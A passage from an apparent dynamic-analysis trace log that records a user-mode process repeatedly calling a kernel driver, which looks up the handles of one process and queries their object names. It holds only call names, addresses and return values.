lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.133] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.133] PsAcquireProcessExitSynchronization () returned 0x0 [0136.133] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.133] ObReferenceObjectByHandle (in: Handle=0x100, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001207fc0, HandleInformation=0x0) returned 0x0 [0136.134] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.134] PsReleaseProcessExitSynchronization () returned 0x2 [0136.134] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.134] ObQueryNameString (in: Object=0xfffff8a001207fc0, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.134] ObfDereferenceObject (Object=0xfffff8a001207fc0) returned 0x1 [0136.134] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.134] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.134] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.134] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.134] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.134] PsAcquireProcessExitSynchronization () returned 0x0 [0136.134] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.134] ObReferenceObjectByHandle (in: Handle=0x104, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001651610, HandleInformation=0x0) returned 0x0 [0136.134] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.134] PsReleaseProcessExitSynchronization () returned 0x2 [0136.134] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.134] ObQueryNameString (in: Object=0xfffff8a001651610, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.134] ObfDereferenceObject (Object=0xfffff8a001651610) returned 0x1 [0136.134] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.134] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.134] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.134] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.134] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.134] PsAcquireProcessExitSynchronization () returned 0x0 [0136.134] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.134] ObReferenceObjectByHandle (in: Handle=0x108, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001201570, HandleInformation=0x0) returned 0x0 [0136.134] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.134] PsReleaseProcessExitSynchronization () returned 0x2 [0136.134] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.134] ObQueryNameString (in: Object=0xfffff8a001201570, ObjectNameInfo=0xfffffa800391a7c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800391a7c4, ReturnLength=0xfffff88005473550) returned 0x0 [0136.134] ObfDereferenceObject (Object=0xfffff8a001201570) returned 0x1 [0136.134] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.134] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.134] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.134] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.135] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.135] PsAcquireProcessExitSynchronization () returned 0x0 [0136.135] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.135] ObReferenceObjectByHandle (in: Handle=0x10c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0017d2a40, HandleInformation=0x0) returned 0x0 [0136.135] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.135] PsReleaseProcessExitSynchronization () returned 0x2 [0136.135] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.135] ObQueryNameString (in: Object=0xfffff8a0017d2a40, ObjectNameInfo=0xfffffa80037d67c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80037d67c4, ReturnLength=0xfffff88005473550) returned 0x0 [0136.135] ObfDereferenceObject (Object=0xfffff8a0017d2a40) returned 0x1 [0136.135] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.135] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.135] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.135] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.135] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.135] PsAcquireProcessExitSynchronization () returned 0x0 [0136.135] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.135] ObReferenceObjectByHandle (in: Handle=0x110, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0089d5d80, HandleInformation=0x0) returned 0x0 [0136.135] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.135] PsReleaseProcessExitSynchronization () returned 0x2 [0136.135] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.135] ObQueryNameString (in: Object=0xfffff8a0089d5d80, ObjectNameInfo=0xfffffa80034947c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80034947c4, ReturnLength=0xfffff88005473550) returned 0x0 [0136.135] ObfDereferenceObject (Object=0xfffff8a0089d5d80) returned 0x1 [0136.135] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.135] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.135] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.135] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.135] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.135] PsAcquireProcessExitSynchronization () returned 0x0 [0136.135] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.135] ObReferenceObjectByHandle (in: Handle=0x11c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00122ae60, HandleInformation=0x0) returned 0x0 [0136.135] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.135] PsReleaseProcessExitSynchronization () returned 0x2 [0136.135] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.135] ObQueryNameString (in: Object=0xfffff8a00122ae60, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.135] ObfDereferenceObject (Object=0xfffff8a00122ae60) returned 0x1 [0136.135] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.136] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.136] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.136] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.136] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.136] PsAcquireProcessExitSynchronization () returned 0x0 [0136.136] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.136] ObReferenceObjectByHandle (in: Handle=0x120, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00122af70, HandleInformation=0x0) returned 0x0 [0136.136] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.136] PsReleaseProcessExitSynchronization () returned 0x2 [0136.136] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.136] ObQueryNameString (in: Object=0xfffff8a00122af70, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.136] ObfDereferenceObject (Object=0xfffff8a00122af70) returned 0x1 [0136.136] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.136] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.136] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.136] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.136] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.136] PsAcquireProcessExitSynchronization () returned 0x0 [0136.136] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.136] ObReferenceObjectByHandle (in: Handle=0x124, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001232c00, HandleInformation=0x0) returned 0x0 [0136.136] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.136] PsReleaseProcessExitSynchronization () returned 0x2 [0136.136] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.136] ObQueryNameString (in: Object=0xfffff8a001232c00, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.136] ObfDereferenceObject (Object=0xfffff8a001232c00) returned 0x1 [0136.136] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.136] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.136] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.136] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.136] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.136] PsAcquireProcessExitSynchronization () returned 0x0 [0136.136] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.136] ObReferenceObjectByHandle (in: Handle=0x128, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001685cc0, HandleInformation=0x0) returned 0x0 [0136.136] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.136] PsReleaseProcessExitSynchronization () returned 0x2 [0136.136] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.137] ObQueryNameString (in: Object=0xfffff8a001685cc0, ObjectNameInfo=0xfffffa80019ff044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019ff044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.137] ObfDereferenceObject (Object=0xfffff8a001685cc0) returned 0x1 [0136.137] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.137] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.137] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.137] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.137] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.137] PsAcquireProcessExitSynchronization () returned 0x0 [0136.137] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.137] ObReferenceObjectByHandle (in: Handle=0x140, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001523570, HandleInformation=0x0) returned 0x0 [0136.137] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.137] PsReleaseProcessExitSynchronization () returned 0x2 [0136.137] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.137] ObQueryNameString (in: Object=0xfffff8a001523570, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.137] ObfDereferenceObject (Object=0xfffff8a001523570) returned 0x1 [0136.137] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.137] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.137] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.137] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.137] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.137] PsAcquireProcessExitSynchronization () returned 0x0 [0136.137] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.137] ObReferenceObjectByHandle (in: Handle=0x14c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001527770, HandleInformation=0x0) returned 0x0 [0136.137] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.137] PsReleaseProcessExitSynchronization () returned 0x2 [0136.137] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.137] ObQueryNameString (in: Object=0xfffff8a001527770, ObjectNameInfo=0xfffffa80019fb044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fb044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.137] ObfDereferenceObject (Object=0xfffff8a001527770) returned 0x1 [0136.137] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.137] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.137] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.137] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.137] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.137] PsAcquireProcessExitSynchronization () returned 0x0 [0136.137] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.138] ObReferenceObjectByHandle (in: Handle=0x16c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00152e880, HandleInformation=0x0) returned 0x0 [0136.138] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.138] PsReleaseProcessExitSynchronization () returned 0x2 [0136.138] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.138] ObQueryNameString (in: Object=0xfffff8a00152e880, ObjectNameInfo=0xfffffa80019fc044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fc044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.138] ObfDereferenceObject (Object=0xfffff8a00152e880) returned 0x1 [0136.138] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.138] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.138] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.138] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.138] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.138] PsAcquireProcessExitSynchronization () returned 0x0 [0136.138] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.138] ObReferenceObjectByHandle (in: Handle=0x170, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001d0a770, HandleInformation=0x0) returned 0x0 [0136.138] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.138] PsReleaseProcessExitSynchronization () returned 0x2 [0136.138] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.138] ObQueryNameString (in: Object=0xfffff8a001d0a770, ObjectNameInfo=0xfffffa8001fc3044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001fc3044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.138] ObfDereferenceObject (Object=0xfffff8a001d0a770) returned 0x1 [0136.138] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.138] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.138] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.138] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.138] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.138] PsAcquireProcessExitSynchronization () returned 0x0 [0136.138] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.138] ObReferenceObjectByHandle (in: Handle=0x174, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0015484a0, HandleInformation=0x0) returned 0x0 [0136.138] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.138] PsReleaseProcessExitSynchronization () returned 0x2 [0136.138] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.138] ObQueryNameString (in: Object=0xfffff8a0015484a0, ObjectNameInfo=0xfffffa80019fd044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fd044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.138] ObfDereferenceObject (Object=0xfffff8a0015484a0) returned 0x1 [0136.138] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.138] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.138] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.138] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.139] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.139] PsAcquireProcessExitSynchronization () returned 0x0 [0136.139] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.139] ObReferenceObjectByHandle (in: Handle=0x178, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001566750, HandleInformation=0x0) returned 0x0 [0136.139] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.139] PsReleaseProcessExitSynchronization () returned 0x2 [0136.139] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0136.139] ObQueryNameString (in: Object=0xfffff8a001566750, ObjectNameInfo=0xfffffa80019fe044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fe044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.139] ObfDereferenceObject (Object=0xfffff8a001566750) returned 0x1 [0136.139] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.139] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x330000) returned 1 [0136.139] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0136.139] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.139] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.139] PsAcquireProcessExitSynchronization () returned 0x0 [0136.139] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054735d0) [0136.139] ObReferenceObjectByHandle (in: Handle=0x17c, DesiredAccess=0x0, ObjectType=0x0, 